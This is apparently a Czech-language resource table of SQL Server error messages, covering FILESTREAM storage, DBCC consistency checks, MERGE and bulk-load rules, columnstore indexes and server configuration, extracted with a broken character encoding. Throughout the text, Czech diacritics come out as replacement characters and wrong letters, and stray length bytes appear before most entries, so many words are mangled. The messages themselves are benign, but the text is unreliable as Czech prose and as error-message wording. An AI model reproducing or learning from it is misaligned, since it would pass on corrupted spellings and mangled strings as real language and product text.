n�ho syst�mu %2!s!: %3!s!.

tCesta ur
en� polo~kou %1!s! nen� v platn�m adres�Yi.

PYi zpracov�n� pY�kazu CREATE FILE doalo k chyb opera
n�ho syst�mu %1!s! pYi otev�r�n� nebo vytv�Yen� fyzick�ho souboru %2!s!.

�Hlavi
ka souboru %1!s! neodpov�d� o
ek�van�mu obsahu souboru %2!s! v datab�zi %3!s!. Nesoulad je pravdpodobn mezi soubory fulltextov�ho katalogu a souvisej�c� datab�z�. V pY�pad potYeby provete obnoven�.

Soubor %1!s! byl pravdpodobn zkr�cen opera
n�m syst�mem. O
ek�van� velikost je %2!s! kB, ale skute
n� velikost je %3!s! kB.

�Pro vytvoYen� sn�mku datab�ze mus� b�t zad�ny vaechny soubory. Soubor %1!s! nebyl nalezen.

�Z�pis do zhuatn�ho souboru %1!s! se nezdaYil z dovodu nedostatku m�sta na disku.

�Cestu ur
enou polo~kou %1!s! nelze pou~�t pro soubory typu FILESTREAM, proto~e jde o nezpracovan� zaY�zen�.

�Vyhled�v�n� souboru %1!s! v adres�Yi se nezdaYilo. Chyba opera
n�ho syst�mu: %2!s!.

�Cestu ur
enou polo~kou %1!s! nelze pou~�t pro soubory typu FILESTREAM, proto~e nen� v podporovan�m syst�mu souboro.

DCestu ur
enou polo~kou %1!s! nelze pou~�t pro soubory typu FILESTREAM. Dala� informace o podporovan�ch cest�ch naleznete na webu Knihy online pro SQL Server.

Cestu ur
enou polo~kou %1!s! nelze pou~�t pro kontejner typu FILESTREAM, proto~e se nach�z� v jin�m kontejneru typu FILESTREAM.

�Soubor datab�ze sn�mko a soubor z�kladn� datab�ze se nemohou nach�zet v �lo~iat�ch rozn�ho typu.

�V n�zvu souboru SQL %1!s! v cloudov�m �lo~iati nejsou povolen� mezery na konci.

�Operace (%1!s!) na %2!s! selhala. Chyba opera
n�ho syst�mu %3!s!: %4!s!

�Nepovedlo se zamknout objekt pYihlaaovac�ch �dajo (�
et: %1!s!, kontejner: %2!s!). Re~im uzam
en�: %3!s!

�Nepovedlo se uzamknout spr�vce pYihlaaovac�ch �dajo. Re~im uzam
en�: %1!s!

�Nepovedlo se uzamknout spr�vce prodlou~en� z�poj
ek. Re~im uzam
en�: %1!s!

�Soub~n� operace (%1!s!) se souborem %2!s! selhala. Chyba opera
n�ho syst�mu %3!s!: %4!s!

�PYi zpracov�n� pY�kazu MODIFY FILE doalo k chyb opera
n�ho syst�mu %1!s! pYi pokusu o rozbalen� fyzick�ho souboru %2!s!.

�Velikost jednoho souboru protokolu nemo~e b�t vta� ne~ 2 TB.

pTato operace nen� pro adresu URL %1!s! podporovan�.

�U pY�kazu �pravy Alter Database v zadn�ch vr�tk�ch Sql DW se nepodporuje klauzule OVERFLOW.

�Chyba opera
n�ho syst�mu %1!s! v souboru %2!s! pYi operaci %3!s!.

�Bylo zjiatno neo
ek�van� ID souboru. Bylo o
ek�v�no ID souboru %1!s!, ale ze souboru %3!s! bylo na
teno %2!s!. OvYte, zda jsou soubory spr�vn namapov�ny v souboru sys.master_files. Mapov�n� lze pY�padn opravit pomoc� pY�kazu ALTER DATABASE.

�Parametr FILEGROWTH nemo~e b�t vta� ne~ parametr MAXSIZE pro soubor %1!s!.

�Soubor %1!s! nelze vytvoYit, proto~e ji~ existuje. ZmHte cestu k souboru nebo n�zev souboru a opakujte operaci.

`Soubor %1!s! nen� prim�rn� soubor datab�ze.

�Hlavi
ka souboru %1!s! nen� platn� hlavi
ka souboru datab�ze. Vlastnost %2!s! je nespr�vn�.

�Jeden nebo v�ce souboro se neshoduj� s prim�rn�m souborem datab�ze. Pokud se pokoua�te pYipojit datab�zi, opakujte operaci se spr�vn�mi soubory. Pokud jde o existuj�c� datab�zi, mo~e to znamenat poakozen� soubor. Obnovte soubor ze z�lohy.

�Velikost ka~d�ho souboru mus� b�t vta� ne~ nebo rovna 512 kB.

�PYi zjiaeov�n� velikosti sektoru pro soubor %1!s! doalo k neo
ek�van� chyb. PYesuHte soubor na m�stn� svazek NTFS, kde mo~e b�t velikost sektoru na
tena. Dala� informace naleznete v protokolu chyb syst�mu SQL Server.

�Soubor %1!s! nelze pou~�t, proto~e byl povodn form�tov�n s velikost� sektoru %2!s! a nyn� je na svazku s velikost� sektoru %3!s!. PYesuHte soubor na svazek s velikost� sektoru, kter� je stejn� nebo mena� ne~ povodn� velikost sektoru.

�Soubor %1!s! nelze pou~�t, proto~e je na svazku s velikost� sektoru %2!s!. Syst�m SQL Server podporuje sektory o maxim�ln� velikosti 4096 bajto. PYesuHte soubor na svazek s kompatibiln� velikost� sektoru.

Nelze otevY�t blok FCB z dovodu neplatn�ho ID souboru %1!s! v datab�zi %2!s!. Zkontrolujte um�stn� souboru. Spusete pY�kaz DBCC CHECKDB.

�Nelze restartovat datab�zi %1!s!. Prob�h� n�vrat do pYedchoz�ho stavu.

TNelze vytvoYit soubor %1!s!. Zadejte pou~iteln� n�zev fyzick�ho souboru pomoc� pY�kazu WITH MOVE. Chcete-li pYepsat existuj�c� soubor, pou~ijte pY�kaz WITH REPLACE.

dSoubor %1!s! nelze pou~�t pro clusterovan� server. Lze pou~�t pouze form�tovan� soubory, na kter�ch je z�visl� clusterov� prostYedek serveru. Bu ve skupin clusteru nen� diskov� prostYedek obsahuj�c� dan� soubor, nebo prostYedek clusteru syst�mu SQL Server nen� na tomto diskov�m prostYedku z�visl�.

�Nelze naj�t odpov�daj�c� soubor protokolu pro soubor FILESTREAM %1!s!.

�PYi pokusu spustit spr�vce prostYedko transak
n�ho syst�mu souboro %2!s! doalo k chyb. Stavov� k�d NT: 0x%1!s!.

PYi prov�dn� opakov�n� operace pro spr�vce prostYedko transak
n�ho syst�mu souboro %2!s! doalo k chyb. Stavov� k�d NT:0x%1!s!.

�PYi akci vr�cen� ve spr�vci prostYedko transak
n�ho syst�mu souboro %2!s! doalo k chyb. Stavov� k�d NT:0x%1!s!.

PYi vytv�Yen� kontroln�ho bodu spr�vce prostYedko transak
n�ho syst�mu souboro %2!s! doalo k chyb. Stavov� k�d NT: 0x%1!s!.

lMaxim�ln� povolen� velikost souboru je %1!s! GB.

�PY�stup k souboru se nezdaYil z dovodu neshody zapoj
en�. Prob�h� ukon
ov�n� datab�ze.

�Velikost souboru protokolu FILESTREAM %1!s! mus� b�t vta� ne~ nebo rovna 1 MB.

|Vol�n� %1!s! funkce slu~by Cluster Service selhalo pYi ovYov�n� cesty k souboru. K�d chyby: %2!s!. OvYte, zda je cluster s podporou pYevzet� slu~eb pYi selh�n� spr�vn nakonfigurov�n.

�PYi pokusu dekomprimovat soubor %2!s! doalo k chyb (%1!s!).

Cesta zadan� polo~kou %1!s! je cesta UNC. Cesta UNC nen� v prostYed� clusteru s podporou pYevzet� slu~eb pYi selh�n� podporov�na.

\Cesta zadan� polo~kou %1!s! je cesta nezpracovan�ho zaY�zen�. Cesta nezpracovan�ho zaY�zen� nen� v prostYed� clusteru s podporou pYevzet� slu~eb pYi selh�n� podporov�na.

�Nelze naj�t ID aloka
n� jednotky %1!s!. Zkontrolujte zobrazen� sys.allocation_units.

Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), str�nka %6!s!, Y�dek %7!s!. PY�kaz DBCC rozpoznal nedokon
en� vy
iatn� z online operace sestaven� indexu. (Hodnota antihmotov�ho sloupce je %8!s!.)

XChyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), obsahuje antihmotov� sloupec, ale nen� neclusterovan� index.

�Chyba tabulky: ID aloka
n� jednotky %1!s!, str�nka %2!s!. Test (%3!s!) se nezdaYil. Hodnoty jsou %4!s! a %5!s!.

<Nelze zpracovat ID objektu %1!s! (objekt %2!s!), proto~e je to ulo~en� procedura nebo u~ivatelem definovan� funkce, kterou ~�dn� pY�kaz DBCC nepodporuje.

�Nelze zpracovat ID objektu %1!s! (objekt %2!s!), proto~e objekty tohoto typu zadan� pY�kaz DBCC nepodporuje.

Bhem intern� operace v datab�zi %1!s! byla zjiatna nekonzistence (ID: %2!s!) na str�nce %3!s!. Kontaktuje technickou podporu.

�Bhem intern� operace byla zjiatna nekonzistence. Kontaktuje technickou podporu.

(PY�kaz k oprav nebyl zpracov�n. Jeden nebo v�ce souboro v datab�zi je jen pro 
ten�. Chcete-li spustit opravu, mus� b�t soubory zapisovateln�.

LID objektu %1!s! (objekt %2!s!): PY�kaz DBCC nemohl tento objekt zamknout, proto~e vyprael 
asov� limit ~�dosti o z�mek. Objekt byl vynech�n a nebude zpracov�n.

(Operace oprav nelze pro datab�zi MSSQLSYSTEMRESOURCE uskute
nit. Dala� informace naleznete v t�matu o datab�zi prostYedko na webu knih online.

�Oprava: Vlo~it Y�dek sekund�rn�ho indexu na z�klad Y�dku z�kladn� tabulky.

,Chyba datab�ze: %1!s! str�nka %2!s! pro datab�zi %3!s! (ID datab�ze %4!s!) nen� platn�. Chybu nelze opravit. Je tYeba obnovit datab�zi ze z�lohy.

$Chyba tabulky: ID aloka
n� jednotky %1!s!, str�nka %2!s! obsahuje v z�hlav� nespr�vn� ID str�nky. Parametr PageId v z�hlav� str�nky = %3!s!.

�ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!). AlespoH jeden z�znam na str�nce %6!s! obsahuje informace o spr�v verz�, ale parametr VERSION_INFO v z�hlav� str�nky nen� nastaven.

4ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), str�nka %6!s!, Y�dek %7!s!. X�dek obsahuje 
asov� raz�tko spr�vy verz� s hodnotou NULL, ale ukazatel Yetzu verze nem� hodnotu NULL. Xetz verze ukazuje na str�nku %8!s!, pozici %9!s!.

�Kontrola byla ukon
ena. PYechodn� sn�mek datab�ze pro datab�zi %1!s! (ID datab�ze %2!s!) byl ozna
en stavem SUSPECT z dovodu chyby v operaci V/V. Podrobnosti naleznete v protokolu chyb syst�mu SQL Server.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), str�nka %6!s!. %7!s! je neplatn� pro komprimovanou str�nku. N�sleduj�c� intern� test se nezdaYil: %8!s!. Hodnoty jsou %9!s! a %10!s!.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID fragmentu datab�ze %4!s!. X�dek na str�nce (%5!s!:%6!s!) v�pozici s�ID %7!s! by se ml nach�zet ve fragmentu s�ID %8!s!. Byl vaak nalezen ve fragmentu s�ID %9!s!.

�Bhem prov�dn� pY�kazu ke kontrole konzistence byl zjiatn neo
ek�van� element protokolu. Opakujte operaci.

�Chyba tabulky: ID objektu %1!s!, ID indexu %2!s!, ID odd�lu %3!s!, ID aloka
n� jednotky %4!s! (typ %5!s!), str�nka %6!s!. Z�hlav� str�nky je neplatn�: je nastaven bit pY�znaku IS_IN_SYSXACT.

�Replikovan� index %1!s! (ID objektu %2!s!) a jeden nebo v�ce jeho klono neobsahuje stejn� Y�dky.

|Pro neclusterovan� index columnstore %1!s! pro tabulku %2!s! chyb� slovn�k pro ID sloupce %3!s! a ID skupiny Y�dko %4!s!. OdstraHte neclusterovan� index columnstore a znovu ho vytvoYte.

DIndex columnstore obsahuje jednu nebo v�ce hodnot dat, kter� neodpov�daj� hodnot�m dat ve slovn�ku. Dala� informace z�sk�te spouatn�m pY�kazu DBCC CHECKDB.

�Clusterovan� index columnstore %1!s!, sloupec %2!s!, ID rowgroup %3!s! v tabulce %4!s! obsahuje jednu nebo v�c hodnot dat, kter� neodpov�daj� hodnot�m dat ve slovn�ku. Obnovte data ze z�lohy.

XIndex columnstore obsahuje jednu nebo v�ce hodnot dat, kter� nejsou konzistentn� s hodnotami dat v metadatech. Dala� informace z�sk�te spouatn�m pY�kazu DBCC CHECKDB.

�Clusterovan� index columnstore %1!s!, sloupec %2!s!, ID rowgroup %3!s! v tabulce %4!s! obsahuje jednu nebo v�c hodnot dat, kter� nejsou konzistentn� s hodnotami dat v metadatech. Obnovte data ze z�lohy.

Index columnstore %1!s! v tabulce %2!s! m� chybn� obsah v 
�sti Delete Bitmap s identifik�tory rowgroup_id %3!s! a tuple_id %4!s!.

�Neclusterovan� index columnstore %1!s!, sloupec %2!s!, ID rowgroup %3!s! v tabulce %4!s! obsahuje jednu nebo v�c hodnot dat, kter� neodpov�daj� hodnot�m dat ve slovn�ku. VyYate a znovu vytvoYte neclusterovan� index columnstore.

�Neclusterovan� index columnstore %1!s!, sloupec %2!s!, ID rowgroup %3!s! v tabulce %4!s! obsahuje jednu nebo v�c hodnot dat, kter� nejsou konzistentn� s hodnotami dat v metadatech. VyYate a znovu vytvoYte neclusterovan� index columnstore.

�PY�kaz DBCC UPDATEUSAGE nemo~e z�skat z�mek na objektu sysallocunits. Opakujte akci pozdji.

Nejde zobrazit obsah str�nky %1!s!. Sada Y�dko, do kter� patY�, je ve stavu se zna
kou odstrann� polo~ky a 
ek� na odebr�n�.

pChyba �lo~iat dotazo:%1!s! Stav:%2!s! Zpr�va:%3!s!

hHromadn� na
�t�n� se nezdaYilo. U~ivatel nem� opr�vnn� k pY�kazu ALTER TABLE pro tabulku %1!s!. Opr�vnn� k pY�kazu ALTER TABLE je v c�lov� tabulce hromadn�ho na
ten� po~adov�no v pY�pad, ~e c�lov� tabulka obsahuje aktiva
n� ud�losti nebo omezen� Check, ale nejsou zad�ny pomocn� parametry FIRE_TRIGGERS nebo CHECK_CONSTRAINTS. Opr�vnn� k pY�kazu ALTER TABLE je po~adov�no i v pY�pad, ~e je zad�n pomocn� parametr KEEPIDENTITY.

�Mut�tor %1!s! pro polo~ku %2!s! nelze volat s hodnotou NULL.

�V�sledn� hodnota pou~it� mut�toru %1!s! na typ CLR %2!s! nesm� b�t NULL.

�Hromadn� kop�rov�n� se nezdaYilo. U~ivatel nem� opr�vnn� k pY�kazu ALTER TABLE pro tabulku %1!s!. Povolen� k pY�kazu ALTER TABLE je v c�lov� tabulce hromadn�ho kop�rov�n� vy~adov�no v pY�pad, ~e c�lov� tabulka obsahuje aktiva
n� ud�losti nebo omezen� Check, ale pomocn� parametry FIRE_TRIGGERS a CHECK_CONSTRAINTS nejsou zad�ny jako mo~nosti pY�kazu k hromadn�mu kop�rov�n�.

Sloupce ROWDUMP a LOCKRES jsou platn� pouze v tabulk�ch a indexovan�ch zobrazen�ch, ve kter�ch je zad�n pomocn� parametr NOEXPAND.

�Parametry kurzoru nejsou pro funkce povoleny. Promnn� %1!s! m� typ kurzoru.

dHodnota parametru sp_cursoropen nen� platn�.

�Odd�lov� funkce, agregace a funkce NEXT VALUE FOR nepodporuj� jako v�razy klauzule ORDER BY indexy cel�ch 
�sel.

�Odd�lov� funkce, agregace a funkce NEXT VALUE FOR nepodporuj� jako v�razy klauzule ORDER BY konstanty.

|V seznamu VALUES pY�kazu INSERT nejsou povoleny agregace.

�Neplatn� znak uvozovek %1!s!. Vzd�len� server nebo u~ivatelsk� pY�kaz pou~il neplatn� znak uvozovek.

TVstup pro funkci NTILE nelze nav�zat.

dSynonymum %1!s! odkazuje na neplatn� objekt.

lV tomto kontextu nen� povoleno pou~it� agregac�.

�C�lem pY�kazu MERGE nesm� b�t vzd�len� tabulka, vzd�len� zobrazen� nebo zobrazen� vzd�len�ch tabulek.

�C�lov� objekt %1!s! pY�kazu MERGE obsahuje aktiva
n� ud�lost INSTEAD OF pro nkter�, ale ne vaechny akce zadan� v pY�kazu MERGE. Pokud m� njak� akce v pY�kazu MERGE povolenu aktiva
n� ud�lost c�le INSTEAD OF, mus� ji m�t povoleny vaechny akce.

hZobrazen� odd�lo nesm� b�t c�lem pY�kazu MERGE.

\V pY�kazu MERGE nesm� m�t zdroj a c�l stejn� n�zev nebo alias. Pou~�vejte rozn� aliasy pro zdroj a c�l, aby bylo zajiatno, ~e budou m�t v pY�kazu MERGE jedine
n� jm�na.

xV klauzuli WHEN pY�kazu MERGE nejsou povoleny agregace.

Funkce %1!s! nen� povolena v klauzuli %2!s!, pokud klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE.

Agrega
n� funkce nen� povolena v klauzuli %1!s!, pokud klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE.

Poddotazy nejsou povoleny v klauzuli %1!s!, pokud klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE.

�V pY�kazu MERGE se klauzule %1!s! s vyhled�vac� podm�nkou nesm� nach�zet za klauzul� %2!s! bez vyhled�vac� podm�nky.

�PoYad� dat v datov�m souboru neodpov�d� zad�n� pomocn�ho parametru ORDER v hromadn� sad Y�dko %1!s!. PoYad� dat mus� odpov�dat poYad� zadan�m v pomocn�m parametru ORDER v hromadn� sad Y�dko. Aktualizujte pomocn� parametr ORDER k �prav poYad� vstupn�ch dat, pY�padn aktualizujte vstupn� data tak, aby odpov�dala poYad� zadan�m v pomocn�m parametru ORDER.

xData v datov�m souboru neodpov�daj� zad�n� pomocn�ho parametru UNIQUE v hromadn� sad Y�dko %1!s!. Data v datov�m souboru mus� b�t jedine
n�, pokud je v hromadn� sad Y�dko zad�n pomocn� parametr UNIQUE. Odeberte pomocn� parametr UNIQUE nebo aktualizujte vstupn� data tak, aby byla zajiatna jejich jedine
nost.

Sloupec %1!s! neobsahuje platn� datov� typ pro pomocn� parametr ORDER zadan� ve zdroji dat %2!s!. Datov� typy TEXT, NTEXT, IMAGE, XML, VARCHAR(MAX), NVARCHAR(MAX) a VARBINARY(MAX) nelze pou~�t v pomocn�m parametru ORDER hromadn� sady Y�dko nebo funkce CLR TVF.

hDo sloupce identity %1!s! v c�lov� tabulce %2!s! pY�kazu INSERT nelze vlo~it explicitn� hodnotu, pokud klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE.

Odd�lov� funkce nejsou povoleny v klauzuli %1!s!, pokud klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE.

xKlauzule OUTPUT nemo~e obsahovat fulltextov� predik�ty.

Klauzule %1!s! nemo~e obsahovat fulltextov� predik�ty, pokud klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE.

�PoYad� dat v datov�m proudu neodpov�d� zad�n� pomocn�ho parametru ORDER ve funkci CLR TVF %1!s!. PoYad� dat mus� odpov�dat poYad� zadan�m v pomocn�m parametru ORDER ve funkci CLR TVF. Aktualizujte pomocn� parametr ORDER k �prav poYad� vstupn�ch dat, pY�padn aktualizujte zad�n� funkce CLR TVF, aby odpov�dala poYad� zadan�m v pomocn�m parametru ORDER.

$Identifik�tor %1!s! nelze nav�zat. V klauzuli WHEN NOT MATCHED pY�kazu MERGE jsou povoleny pouze zdrojov� sloupce a sloupce v oboru klauzule.

8Identifik�tor %1!s! nelze nav�zat. V klauzuli WHEN NOT MATCHED BY SOURCE pY�kazu MERGE jsou povoleny pouze zdrojov� sloupce a sloupce v oboru klauzule.

�Datov� typ %1!s! nelze pou~�t jako operand oper�toro UNION, INTERSECT nebo EXCEPT, proto~e nen� porovnateln�.

�Na prav� stran oper�toru EXCEPT v rekurzivn� 
�sti rekurzivn�ho odkazu CTE nejsou povoleny rekurzivn� odkazy.

�Trval� chyba skl�d�n� zposobila chybu pYi vytv�Yen� nebo zmn modulu %1!s!. Mezi b~n� pY�
iny t�to chyby patY� aritmetick� pYete
en�, chyba pYevodu typu a dlen� nulou ve v�razu v %2!s!.

�Mo~nost form�tu nejde zadat spolu s mo~nost� SINGLE_BLOB, SINGLE_CLOB nebo SINGLE_NCLOB.

�Mo~nost form�tu CSV je podporovan� pro mo~nosti datafiletype char a widechar.

�Klauzuli sch�matu WITH nejde zadat spole
n s mo~nost� FORMATFILE nebo SINGLE_BLOB/SINGLE_CLOB/SINGLE_NCLOB.

�Klauzuli sch�matu WITH nejde zadat bez mo~nosti FORMAT = 'CSV'.

�Prvky ROWTERMINATOR a FIELDTERMINATOR nejde zadat bez sch�matu WITH.

�V klauzuli sch�matu WITH nejde zadat duplicitn� poYad� sloupce.

�Parametry OFFSET a LENGTH mus� b�t uvedeny spolu s vlo~en�m sch�matem (klauzule WITH).

pMo~nost DATAFILETYPE nejde zadat bez sch�matu WITH.

xMo~nost USE_TYPE_DEFAULT nejde zadat bez sch�matu WITH.

�ERRORFILE_SECRET nejde zadat spole
n s mo~nost� ERRORFILE_DATA_SOURCE.

tERRORFILE_SECRET nejde zadat bez mo~nosti ERRORFILE.

�Skupina souboro FILESTREAM byla vyYazena dY�ve, ne~ bylo mo~n� vytvoYit tabulku.

TKontejner FILESTREAM je nepY�stupn�.

�Parametr PRIMARY mo~e b�t zad�n pouze ve skupin souboro protokolu v klauzuli CONTAINS.

�Tabulka obsahuj�c� sloupce FILESTREAM mus� obsahovat jedine
n� sloupec s vlastnost� ROWGUIDCOL, kter� nem� hodnotu NULL.

�Data nebo soubor protokolu FILESTREAM nelze pojmenovat DEFAULT.

�Hodnotu DEFAULT nelze zadat pro skupinu souboro protokolu %1!s!.

�Parametr FILESTREAM lze deklarovat pouze pro sloupce VARBINARY.

�Vlastnosti SIZE a FILEGROWTH nelze zadat pro datov� soubor FILESTREAM %1!s!.

�PY�kaz LOG ON nelze pou~�t ve skupin souboro %1!s!, kter� nen� FILESTREAM.

�Z�znam protokolu syst�mu souboro FILESTREAM %1!s! v adres�Yi protokolu %2!s! je poakozen.

�PYi zkracov�n� adres�Ye %3!s! doalo k chyb 0x%1!s! (%2!s!).

�N�zev zadan� v pYidru~en� skupin souboro protokolu ke skupin souboro FILESTREAM %1!s! nen� platn�.

8Transak
n� replikace nebo funkce Change Data Capture nemo~e pokra
ovat, proto~e spr�vce prostYedko transak
n�ho syst�mu souboro na %1!s! nen� spuatn.

�Adres�Y kontejneru %1!s! souboru FILESTREAM nelze otevY�t. Opera
n� syst�m vr�til stavov� k�d 0x%2!s!.

�Na skupinu souboro protokolu FILESTREAM %1!s! nemo~e odkazovat v�ce ne~ jedna skupina souboro dat FILESTREAM.

�Parametr MAXSIZE kontejneru FILESTREAM mus� b�t vta� ne~ nebo roven 512 kB.

pCesta k souboru FILESTREAM %1!s! je pY�lia dlouh�.

(Datab�ze mus� obsahovat prim�rn� skupinu souboro protokolu FILESTREAM a soubor protokolu, aby mohla obsahovat jin� skupiny souboro FILESTREAM.

�Upgrade kontejneru FILESTREAM s ID %1!s! v ID datab�ze %2!s! se nezdaYil z dovodu chyby pYepo
�t�n� velikosti kontejneru. Zkuste vyhledat chyby v pYedchoz�ch polo~k�ch protokolu chyb a prov�st pY�sluan� opravn� akce.

PPYi na
�t�n� objektu %2!s! syst�mem SQL Server ze spr�vce prostYedko transak
n�ho syst�mu souboro nach�zej�c�ho se v %3!s! doalo k chyb 0x%1!s! (stavov� k�d NT).

�Datov� soubor FILESTREAM nelze odstranit, proto~e jeho soubor protokolu nebyl z�lohov�n.

�Skupina datov�ch souboro FILESTREAM nemo~e odkazovat na pr�zdnou skupinu souboro protokolu FILESTREAM.

�V�choz� skupinu souboro dat FILESTREAM nelze odebrat, pokud se nejedn� o posledn� skupinu souboro dat FILESTREAM.

�Vlastnosti READ_ONLY a READ_WRITE nelze ve skupin souboro protokolu FILESTREAM mnit.

�Soubor protokolu FILESTREAM %1!s! nelze odebrat, proto~e na nj odkazuje skupina souboro dat FILESTREAM.

�Prim�rn� soubor protokolu FILESTREAM nelze vyYadit, proto~e existuj� ostatn� skupiny souboro FILESTREAM.

�Datab�ze mo~e m�t nejv�ae jednu prim�rn� skupinu souboro protokolu FILESTREAM a nejv�ae jeden soubor protokolu.

�NepodaYilo se odebrat soubor FILESTREAM. Datab�ze je prim�rn� datab�z� ve skupin dostupnosti. Vy
kejte na datov� soubory FILESTREAM, kter� budou zes�leny ve vaech sekund�rn�ch replik�ch dostupnosti. Pak operaci vyYazen� souboru opakujte.

�PYi zmn re~imu protokolov�n� spr�vce prostYedko transak
n�ho syst�mu souboro nach�zej�c�ho se v %2!s! z hodnoty %3!s! na hodnotu %4!s! syst�mem SQL Server doalo k chyb 0x%1!s! (stavov� k�d NT).

�Syst�m SQL Server nemohl z�skat kontext transakce ze spr�vce transakc� j�dra k vykon�n� operace syst�mu souboro.

PZ�znam protokolu syst�mu souboro FILESTREAM, kter� obsahuje hodnoty LSN %1!s!:%2!s!:%3!s!, chyb�. Adres�Y protokolu %4!s! je poakozen. Obnovte datab�zi ze z�lohy.

�Z�znam protokolu SQL pYi hodnot LSN %1!s!:%2!s!:%3!s! v datab�zi %4!s! je poakozen. Datab�zi nelze obnovit.

�Kontejner dat FILESTREAM %1!s! je poakozen. Datab�zi nelze obnovit.

�Odstrann� adres�Y FILESTREAM %1!s! je poakozen. Datab�zi nelze obnovit.

�Funkce %1!s! je platn� pouze ve sloup�ch s atributem FILESTREAM.

��ste
n� aktualizace nejsou podporov�ny ve sloupc�ch, kter� maj� soubory FILESTREAM jako zdroj.

�Sloupec ROWGUIDCOL pYidru~en� k pou~�van�mu souboru FILESTREAM nen� viditeln�, kdy~ je vol�na metoda %1!s!.

LSloupec FILESTREAM nelze pou~�t s metodou %1!s!, proto~e pYidru~en� sloupec ROWGUIDCOL ze z�kladn� tabulky m� povolenou hodnotu NULL nebo nem� jedine
n� omezen�.

�Kdy~ je sloupec FILESTREAM otevYen jako soubor, mus� b�t pou~it re~im otevYen�.

8Ke skupin souboro FILESTREAM %1!s! nejsou pYiYazeny ~�dn� soubory. Do t�to skupiny souboro nelze zadat data FILESTREAM, dokud do n� nepYid�te soubor.

Soubor FILESTREAM s n�zvem GUID %1!s!, kter� patY� k ID datov�ho souboru FILESTREAM 0x%2!s!, neexistuje nebo nelze otevY�t.

�Intern� chyba syst�mu SQL Server. Spr�vce FILESTREAM nemo~e pokra
ovat s aktu�ln�m pY�kazem.

�Celkov� po
et verz� pro jeden soubor dos�hl maxim�ln� hodnoty ur
en� syst�mem souboro.

�Operace se nezdaYila, proto~e data FILESTREAM nelze pYejmenovat.

0Datab�ze %1!s! neexistuje, nebo nepodporuje data FILESTREAM. Zadejte platn� n�zev datab�ze. Dostupn� datab�ze naleznete v zobrazen� sys.databases.

PKontejner FILESTREAM %1!s! neexistuje, nebo ho nelze zpracovat. Zadejte platn� n�zev kontejneru FILESTREAM. Dostupn� datab�ze naleznete v zobrazen� sys.databases.

xDatab�ze %1!s! by mla b�t v jednou~ivatelsk�m re~imu.

DDatab�zi %1!s! nelze otevY�t.

PY�stup k tabulce zna
ek odstrann�ch polo~ek FILESTREAM pro datab�zi %1!s! nelze nyn� prov�st, proto~e by doalo ke konfliktu s jinou aktivitou, napY�klad s operac� GC na pozad�, operac� z�lohy, operac� DBCC CHECK* nebo prob�haj�c�m vytv�Yen�m sn�mku.

�Operace syst�mu uvolHov�n� pamti FILESTREAM byla pYeruaena pro datab�zi %1!s!.

�Funkci FILESTREAM se nepodaYilo nal�zt tabulku uvolHov�n� pamti.

�VnitYn� chyba FILESTREAM: PY�stup k tabulce uvolHov�n� pamti se nezdaYil.

�VnitYn� chyba FILESTREAM: Vykon�n� operace syst�mu souboro se nezdaYilo z dovodu mo~n�ho poakozen�.

�Datab�ze nemo~e sou
asn podporovat zrcadlen� a �lo~iat FILESTREAM nebo zrcadlen� a �lo~iat MEMORY_OPTIMIZED_DATA.

PYi zmn nebo pou~�v�n� konfigurace FILESTREAM doalo k chyb. V�ce informac� naleznete v protokolu chyb syst�mu SQL Server.

�InstanceGuid funkce FILESTREAM m� hodnotu NULL. Nastaven� registru mohou b�t poakozena.

Hodnota zadan� pro parametr ENABLE_LEVEL ulo~en� procedury SP_FILESTREAM_CONFIGURE nen� platn�. Hodnota mus� b�t 0, 1, 2 nebo 3.

8Ulo~enou proceduru SP_FILESTREAM_CONFIGURE prov�d� jin� relace. Zkontrolujte aktualizovan� nastaven� konfigurace a operaci v pY�pad potYeby opakujte.

\Platforma nepodporuje operace FILESTREAM.

HFunkce FILESTREAM je zak�z�na.

�Funkce FILESTREAM nem� povolen pY�stup do syst�mu souboro.

�Funkce FILESTREAM nen� podporov�na v subsyst�mu WoW64. Funkce je zak�z�na.

�Hodnota zadan� v parametru computer_name_format ve funkci .%1!s!() nen� platn�.

TFunkce PhysicalPathName je zak�z�na.

Funkci FILESTREAM nejde inicializovat. Spr�vce opera
n�ho syst�mu mus� v instanci povolit funkci FILESTREAM pomoc� Spr�vce konfigurace.

<.ContainerId je zak�z�no.

�Mo~nost Mezidatab�zov� zYetzen� nejde v ur
en� datab�zi nastavit na zadanou hodnotu.

�Hlavn� kl�
 slu~by nelze obnovit vynucen, jak vy~�dala mo~nost spuatn� F. �slo chyby je %1!s!.

�Heslo pro SA nelze obnovit vynucen, jak vy~�dala mo~nost spuatn� K. �slo chyby je %1!s!.

Heslo pro �
et SA nelze obnovit vynucen nebo nelze zak�zat �
et SA, jak vy~�dala mo~nost spuatn� -K a pY�znak trasov�n� -T1617.

�Znakovou sadu, poYad� Yazen� a kolaci nelze zmnit na �rovni serveru, proto~e alespoH jedna datab�ze nen� zapisovateln�. Upravte datab�zi tak, aby do n� bylo mo~n� zapisovat, a operaci opakujte.

lBylo zad�no pY�lia m�lo z�mko. Minimum je %1!s!.

Pou~it� intervalo obnoven� nad %1!s! m nen� doporu
eno. Pou~ijte pY�kaz RECONFIGURE WITH OVERRIDE pro vynucen� t�to konfigurace.

�Aktualizace ad hoc syst�mov�ch katalogo nejsou podporov�ny.

pPlatn� hodnoty pro faktor plnn� jsou od 0 do 100.

lNem�te opr�vnn� k proveden� pY�kazu RECONFIGURE.

